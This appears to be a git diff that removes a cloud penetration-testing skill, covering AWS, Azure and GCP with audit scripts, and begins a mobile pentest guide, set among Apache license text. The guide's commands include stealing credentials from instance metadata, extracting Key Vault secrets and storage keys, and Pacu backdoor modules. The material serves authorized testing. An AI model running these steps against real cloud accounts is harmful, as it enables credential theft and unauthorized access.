for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,258 +0,0 @@
---
name: conducting-cloud-infrastructure-penetration-test
description: Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler.
domain: cybersecurity
subdomain: penetration-testing
tags: [cloud-pentest, AWS, Azure, GCP, Pacu, ScoutSuite, Prowler, IAM, S3, cloud-security]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Conducting Cloud Infrastructure Penetration Test
## Overview
Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains.
## Prerequisites
- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms)
- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing
- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper
- Understanding of shared responsibility model for each provider
## AWS Penetration Testing
### Initial Enumeration
```bash
# Verify caller identity
aws sts get-caller-identity
# Enumerate IAM permissions
aws iam get-user
aws iam list-attached-user-policies --user-name testuser
aws iam list-user-policies --user-name testuser
# Enumerate all IAM users and roles
aws iam list-users
aws iam list-roles
aws iam list-groups
# Enumerate EC2 instances
aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table
# Enumerate S3 buckets
aws s3 ls
aws s3 ls s3://target-bucket --recursive
# Enumerate Lambda functions
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table
# Enumerate RDS databases
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table
# Enumerate secrets
aws secretsmanager list-secrets
aws ssm describe-parameters
```
### Pacu Exploitation Framework
```bash
# Install and configure Pacu
pip install pacu
pacu
# Import AWS keys
Pacu> set_keys
Pacu> import_keys testuser
# Run enumeration modules
Pacu> run iam__enum_permissions
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run ec2__enum
Pacu> run s3__enum
Pacu> run lambda__enum
# Privilege escalation checks
Pacu> run iam__privesc_scan
# Exploit S3 bucket misconfigurations
Pacu> run s3__bucket_finder
# EC2 metadata SSRF exploitation
Pacu> run ec2__metadata_services
# Lambda backdoor (authorized testing)
Pacu> run lambda__backdoor_new_roles
```
### S3 Bucket Testing
```bash
# Test for public buckets
aws s3 ls s3://target-corp-backup --no-sign-request
aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request
# Check bucket policy
aws s3api get-bucket-policy --bucket target-corp-backup
aws s3api get-bucket-acl --bucket target-corp-backup
# Test for ACL misconfigurations
aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \
--body /tmp/proof.txt
```
### EC2 Instance Metadata Exploitation
```bash
# From a compromised EC2 instance:
# IMDSv1 (if not disabled)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
# Extract temporary credentials
# Use them to enumerate further permissions
export AWS_ACCESS_KEY_ID=<from_metadata>
export AWS_SECRET_ACCESS_KEY=<from_metadata>
export AWS_SESSION_TOKEN=<from_metadata>
aws sts get-caller-identity
```
## Azure Penetration Testing
### Azure Enumeration
```bash
# Login with test credentials
az login -u testuser@target.onmicrosoft.com -p 'Password123'
# Enumerate subscriptions
az account list --output table
# Enumerate resource groups
az group list --output table
# Enumerate VMs
az vm list --output table
# Enumerate storage accounts
az storage account list --output table
# Enumerate App Services
az webapp list --output table
# Enumerate Key Vaults
az keyvault list --output table
# Enumerate Azure AD users
az ad user list --output table
# AzureHound for attack paths (like BloodHound for Azure)
azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json
```
### Azure-Specific Attacks
```bash
# Enumerate Managed Identity from compromised VM
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Storage account key extraction
az storage account keys list --resource-group RG-Production --account-name targetstorageacct
# Key Vault secret extraction
az keyvault secret list --vault-name target-keyvault
az keyvault secret show --vault-name target-keyvault --name admin-password
# Stormspotter — Azure attack graph
python stormspotter.py --cli
```
## GCP Penetration Testing
### GCP Enumeration
```bash
# Authenticate
gcloud auth login
# List projects
gcloud projects list
# Enumerate compute instances
gcloud compute instances list
# Enumerate storage buckets
gsutil ls
gsutil ls gs://target-bucket/
# Enumerate IAM policies
gcloud projects get-iam-policy PROJECT_ID
# Enumerate Cloud Functions
gcloud functions list
# Enumerate service accounts
gcloud iam service-accounts list
# Check for public buckets
gsutil ls -L gs://target-bucket/ | grep "Access control"
```
## Cross-Cloud Security Assessment
### ScoutSuite Multi-Cloud Audit
```bash
# AWS audit
scout suite aws --profile testuser
# Azure audit
scout suite azure --cli
# GCP audit
scout suite gcp --user-account
# Review results in HTML dashboard
# Focus on: IAM, storage, networking, logging findings
```
### Prowler (AWS CIS Benchmark)
```bash
# Run full CIS benchmark scan
prowler aws --profile testuser
# Run specific checks
prowler aws -c check11 check12 check13 # IAM checks
prowler aws -g s3 # S3 group
prowler aws -g forensics-ready # Logging checks
# Export results
prowler aws -M json-ocsf -o ./prowler_results/
```
## Findings Matrix
| Finding | Cloud | Severity | Remediation |
|---------|-------|----------|-------------|
| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access |
| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies |
| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances |
| Storage account with public blob access | Azure | Critical | Disable anonymous blob access |
| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies |
| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission |
| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity |
## References
- Pacu: https://github.com/RhinoSecurityLabs/pacu
- ScoutSuite: https://github.com/nccgroup/ScoutSuite
- Prowler: https://github.com/prowler-cloud/prowler
- AzureHound: https://github.com/BloodHoundAD/AzureHound
- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/
- HackTricks Cloud: https://cloud.hacktricks.wiki/
@@ -1,25 +0,0 @@
# Cloud Infrastructure Penetration Test — Report Template
## Document Control
| Field | Value |
|-------|-------|
| Cloud Provider(s) | AWS / Azure / GCP |
| Account/Subscription IDs | [IDs] |
| Starting Access | [Read-only IAM user / Unauthenticated] |
| Period | [Start] — [End] |
## Executive Summary
[Cloud security posture overview, key misconfigurations, privilege escalation paths]
## Findings
### Finding [N]: [Title]
| Attribute | Detail |
|-----------|--------|
| Provider | [AWS/Azure/GCP] |
| Resource | [ARN/Resource ID] |
| Severity | [Level] |
| Issue | [Description] |
| Remediation | [Fix] |
## Recommendations
1. [Priority recommendations by cloud provider]
@@ -1,47 +0,0 @@
# Cloud Infrastructure Penetration Test — API Reference
## Libraries
| Library | Install | Purpose |
|---------|---------|---------|
| boto3 | `pip install boto3` | AWS SDK for Python — EC2, S3, IAM, security group enumeration |
| ScoutSuite | `pip install scoutsuite` | Multi-cloud security auditing tool |
| pacu | `pip install pacu` | AWS exploitation framework for penetration testing |
## Key boto3 Methods
| Method | Description |
|--------|-------------|
| `ec2.describe_security_groups()` | List all security groups with inbound/outbound rules |
| `ec2.describe_instances()` | Enumerate EC2 instances with metadata options |
| `s3.list_buckets()` | List all S3 buckets in the account |
| `s3.get_bucket_acl(Bucket=name)` | Check bucket ACL for public access grants |
| `s3.get_bucket_policy(Bucket=name)` | Retrieve bucket resource policy JSON |
| `iam.list_users()` | Enumerate all IAM users |
| `iam.list_attached_user_policies(UserName=u)` | List managed policies attached to a user |
| `iam.list_access_keys(UserName=u)` | List access keys with creation dates |
| `iam.simulate_principal_policy()` | Test effective permissions for a principal |
| `sts.get_caller_identity()` | Identify current credentials (account, ARN) |
## ScoutSuite CLI
```bash
scout aws --no-browser --report-dir ./report
scout azure --cli --no-browser
scout gcp --no-browser
```
## Key Constants
| Constant | Value |
|----------|-------|
| IMDSv2 required | `HttpTokens: "required"` |
| Public ACL URI | `http://acs.amazonaws.com/groups/global/AllUsers` |
| Admin policy ARN | `arn:aws:iam::aws:policy/AdministratorAccess` |
## External References
- [AWS Penetration Testing Policy](https://aws.amazon.com/security/penetration-testing/)
- [ScoutSuite Documentation](https://github.com/nccgroup/ScoutSuite/wiki)
- [Pacu Wiki](https://github.com/RhinoSecurityLabs/pacu/wiki)
- [boto3 EC2 Reference](https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html)
@@ -1,12 +0,0 @@
# Standards — Cloud Infrastructure Penetration Testing
## Cloud Provider Policies
- AWS: https://aws.amazon.com/security/penetration-testing/
- Azure: https://learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing
- GCP: https://cloud.google.com/terms/aup
## Frameworks
- CIS Benchmarks for AWS/Azure/GCP
- NIST SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing
- CSA Cloud Controls Matrix (CCM)
- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/
@@ -1,13 +0,0 @@
# Workflows — Cloud Infrastructure Penetration Testing
## Attack Flow
```
Cloud Credentials / Unauthenticated
├── IAM Enumeration (permissions, roles, policies)
├── Resource Discovery (compute, storage, serverless)
├── Privilege Escalation (IAM chaining, role assumption)
├── Data Access (storage buckets, databases, secrets)
├── Lateral Movement (cross-account, cross-service)
└── Impact Demonstration (data exfiltration proof)
```
@@ -1,160 +0,0 @@
#!/usr/bin/env python3
"""Cloud infrastructure penetration testing agent using boto3 and ScoutSuite."""
import json
import sys
import argparse
import subprocess
from datetime import datetime
try:
import boto3
from botocore.exceptions import ClientError
except ImportError:
print("Install: pip install boto3")
sys.exit(1)
def enumerate_public_resources(session):
"""Find publicly accessible resources across AWS services."""
findings = []
ec2 = session.client("ec2")
for sg in ec2.describe_security_groups()["SecurityGroups"]:
for perm in sg.get("IpPermissions", []):
for ip_range in perm.get("IpRanges", []):
if ip_range.get("CidrIp") == "0.0.0.0/0":
findings.append({
"type": "open_security_group",
"resource": sg["GroupId"],
"port": perm.get("FromPort", "all"),
"severity": "HIGH",
})
s3 = session.client("s3")
for bucket in s3.list_buckets().get("Buckets", []):
try:
acl = s3.get_bucket_acl(Bucket=bucket["Name"])
for grant in acl.get("Grants", []):
grantee = grant.get("Grantee", {})
if grantee.get("URI", "").endswith("AllUsers"):
findings.append({
"type": "public_s3_bucket",
"resource": bucket["Name"],
"permission": grant["Permission"],
"severity": "CRITICAL",
})
except ClientError:
pass
return findings
def check_iam_weaknesses(session):
"""Audit IAM for privilege escalation paths."""
iam = session.client("iam")
issues = []
for user in iam.list_users()["Users"]:
policies = iam.list_attached_user_policies(UserName=user["UserName"])
for pol in policies["AttachedPolicies"]:
if pol["PolicyArn"].endswith("/AdministratorAccess"):
issues.append({
"type": "admin_user",
"user": user["UserName"],
"policy": pol["PolicyName"],
"severity": "HIGH",
})
keys = iam.list_access_keys(UserName=user["UserName"])
for key in keys["AccessKeyMetadata"]:
if key["Status"] == "Active":
age = (datetime.utcnow() - key["CreateDate"].replace(tzinfo=None)).days
if age > 90:
issues.append({
"type": "stale_access_key",
"user": user["UserName"],
"key_id": key["AccessKeyId"],
"age_days": age,
"severity": "MEDIUM",
})
return issues
def check_metadata_service(session):
"""Check EC2 instances for IMDSv1 (SSRF-exploitable metadata)."""
ec2 = session.client("ec2")
vulnerable = []
paginator = ec2.get_paginator("describe_instances")
for page in paginator.paginate():
for res in page["Reservations"]:
for inst in res["Instances"]:
md = inst.get("MetadataOptions", {})
if md.get("HttpTokens") != "required":
vulnerable.append({
"type": "imdsv1_enabled",
"instance_id": inst["InstanceId"],
"state": inst["State"]["Name"],
"severity": "HIGH",
})
return vulnerable
def run_scoutsuite_scan(provider="aws"):
"""Run ScoutSuite for comprehensive cloud audit."""
cmd = ["scout", provider, "--no-browser", "--report-dir", "/tmp/scoutsuite-report"]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
return {"status": "completed", "output": result.stdout[-500:]}
except FileNotFoundError:
return {"status": "error", "message": "ScoutSuite not installed: pip install scoutsuite"}
except subprocess.TimeoutExpired:
return {"status": "timeout", "message": "ScoutSuite scan exceeded 10 minute timeout"}
def run_pentest(profile=None, region="us-east-1"):
"""Execute cloud infrastructure penetration test."""
session = boto3.Session(profile_name=profile, region_name=region)
print(f"\n{'='*60}")
print(f" CLOUD INFRASTRUCTURE PENETRATION TEST")
print(f" Region: {region} | Profile: {profile or 'default'}")
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
print(f"{'='*60}\n")
public = enumerate_public_resources(session)
print(f"--- PUBLIC EXPOSURE ({len(public)} findings) ---")
for f in public[:10]:
print(f" [{f['severity']}] {f['type']}: {f['resource']}")
iam_issues = check_iam_weaknesses(session)
print(f"\n--- IAM WEAKNESSES ({len(iam_issues)} findings) ---")
for f in iam_issues[:10]:
print(f" [{f['severity']}] {f['type']}: {f.get('user', f.get('resource', 'N/A'))}")
metadata = check_metadata_service(session)
print(f"\n--- IMDSv1 EXPOSURE ({len(metadata)} instances) ---")
for f in metadata[:10]:
print(f" [{f['severity']}] {f['instance_id']} ({f['state']})")
return {"public_exposure": public, "iam_issues": iam_issues, "imdsv1": metadata}
def main():
parser = argparse.ArgumentParser(description="Cloud Infrastructure Pentest Agent")
parser.add_argument("--profile", help="AWS CLI profile name")
parser.add_argument("--region", default="us-east-1", help="AWS region")
parser.add_argument("--scan", action="store_true", help="Run full pentest scan")
parser.add_argument("--scoutsuite", action="store_true", help="Run ScoutSuite audit")
parser.add_argument("--output", help="Save report to JSON file")
args = parser.parse_args()
if args.scoutsuite:
report = run_scoutsuite_scan()
print(json.dumps(report, indent=2))
elif args.scan:
report = run_pentest(args.profile, args.region)
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Report saved to {args.output}")
else:
parser.print_help()
if __name__ == "__main__":
main()
@@ -1,134 +0,0 @@
#!/usr/bin/env python3
"""
Cloud Infrastructure Penetration Test — Automation Process
Automates AWS/Azure/GCP enumeration and security assessment.
Usage:
python process.py --provider aws --profile testuser --output ./results
"""
import subprocess
import json
import argparse
import datetime
from pathlib import Path
def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]:
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
return result.stdout, result.stderr, result.returncode
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
return "", str(e), -1
def aws_enumerate(profile: str, output_dir: Path) -> dict:
"""Enumerate AWS resources."""
print("[*] Enumerating AWS resources...")
results = {}
checks = {
"identity": ["aws", "sts", "get-caller-identity", "--profile", profile],
"s3_buckets": ["aws", "s3api", "list-buckets", "--profile", profile],
"ec2_instances": ["aws", "ec2", "describe-instances", "--profile", profile],
"lambda_functions": ["aws", "lambda", "list-functions", "--profile", profile],
"iam_users": ["aws", "iam", "list-users", "--profile", profile],
"rds_instances": ["aws", "rds", "describe-db-instances", "--profile", profile],
}
for name, cmd in checks.items():
stdout, stderr, rc = run_command(cmd)
if rc == 0:
try:
results[name] = json.loads(stdout)
except json.JSONDecodeError:
results[name] = {"raw": stdout}
else:
results[name] = {"error": stderr[:200]}
with open(output_dir / "aws_enum.json", "w") as f:
json.dump(results, f, indent=2, default=str)
return results
def check_public_s3(buckets: list[str], profile: str) -> list[dict]:
"""Check S3 buckets for public access."""
findings = []
for bucket in buckets:
stdout, stderr, rc = run_command(
["aws", "s3api", "get-bucket-acl", "--bucket", bucket, "--profile", profile]
)
if rc == 0:
acl = json.loads(stdout)
for grant in acl.get("Grants", []):
grantee = grant.get("Grantee", {})
if grantee.get("URI", "").endswith("AllUsers") or \
grantee.get("URI", "").endswith("AuthenticatedUsers"):
findings.append({
"bucket": bucket,
"grantee": grantee.get("URI"),
"permission": grant.get("Permission"),
"severity": "Critical"
})
return findings
def generate_report(provider: str, enum_results: dict, findings: list[dict],
output_dir: Path) -> str:
"""Generate cloud pentest report."""
report_file = output_dir / f"{provider}_pentest_report.md"
timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
with open(report_file, "w") as f:
f.write(f"# {provider.upper()} Cloud Penetration Test Report\n\n")
f.write(f"**Generated:** {timestamp}\n\n---\n\n")
f.write("## Resource Inventory\n\n")
for resource, data in enum_results.items():
f.write(f"### {resource}\n")
if isinstance(data, dict) and "error" in data:
f.write(f"Access denied: {data['error'][:100]}\n\n")
else:
f.write(f"```json\n{json.dumps(data, indent=2, default=str)[:500]}\n```\n\n")
if findings:
f.write("## Security Findings\n\n")
for finding in findings:
f.write(f"### [{finding['severity']}] {finding.get('bucket', finding.get('resource', 'Unknown'))}\n")
f.write(f"- Issue: {finding.get('grantee', finding.get('issue', ''))}\n")
f.write(f"- Permission: {finding.get('permission', '')}\n\n")
f.write("## Recommendations\n\n")
f.write("1. Enable S3 Block Public Access at account level\n")
f.write("2. Implement least-privilege IAM policies\n")
f.write("3. Enforce IMDSv2 on all EC2 instances\n")
f.write("4. Enable CloudTrail logging in all regions\n")
f.write("5. Use AWS Organizations SCPs for guardrails\n")
print(f"[+] Report: {report_file}")
return str(report_file)
def main():
parser = argparse.ArgumentParser(description="Cloud Pentest Automation")
parser.add_argument("--provider", choices=["aws", "azure", "gcp"], default="aws")
parser.add_argument("--profile", default="default")
parser.add_argument("--output", default="./results")
args = parser.parse_args()
output_dir = Path(args.output)
output_dir.mkdir(parents=True, exist_ok=True)
if args.provider == "aws":
results = aws_enumerate(args.profile, output_dir)
buckets = [b["Name"] for b in results.get("s3_buckets", {}).get("Buckets", [])]
findings = check_public_s3(buckets[:20], args.profile)
generate_report("aws", results, findings, output_dir)
print(f"\n[+] Cloud pentest automation complete for {args.provider}")
if __name__ == "__main__":
main()
@@ -15,6 +15,14 @@ license: Apache-2.0
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
## When to Use
- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Written authorization (Rules of Engagement document) signed by executive leadership
@@ -15,6 +15,14 @@ license: Apache-2.0
An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.
## When to Use
- When conducting security assessments that involve conducting internal network penetration test
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
## Prerequisites
- Signed Rules of Engagement with internal network scope
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,233 +0,0 @@
---
name: conducting-mobile-application-penetration-test
description: Perform a mobile application penetration test on Android and iOS apps to identify insecure data storage, certificate pinning bypass, API vulnerabilities, binary protections, and runtime manipulation using Frida, Objection, and MobSF.
domain: cybersecurity
subdomain: penetration-testing
tags: [mobile-pentest, Android, iOS, Frida, Objection, MobSF, OWASP-MASTG, certificate-pinning, APK-analysis]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Conducting Mobile Application Penetration Test
## Overview
Mobile application penetration testing evaluates the security of Android and iOS applications following the OWASP Mobile Application Security Testing Guide (MASTG) and Mobile Application Security Verification Standard (MASVS). Testing covers static analysis of the application binary, dynamic runtime analysis, API communication security, data storage assessment, and reverse engineering resistance.
## Prerequisites
- Application APK/IPA file or TestFlight/Play Store access
- Rooted Android device or emulator (Genymotion, Android Studio AVD)
- Jailbroken iOS device or Corellium cloud instance
- Tools: Frida, Objection, MobSF, Jadx, Burp Suite, adb, Ghidra
- OWASP MASTG checklist
## Android Testing
### Static Analysis
```bash
# Decompile APK with jadx
jadx -d output_dir target.apk
# Search for hardcoded secrets
grep -rn "api_key\|secret\|password\|token\|firebase" output_dir/sources/
# Check AndroidManifest.xml
# Look for: exported components, debuggable=true, allowBackup=true
grep -i "exported\|debuggable\|allowBackup\|android:permission" output_dir/resources/AndroidManifest.xml
# MobSF automated static analysis
# Upload APK to MobSF web interface (http://localhost:8000)
# Or use REST API:
curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
-H "Authorization: <api_key>"
# Check for insecure network security config
cat output_dir/resources/res/xml/network_security_config.xml
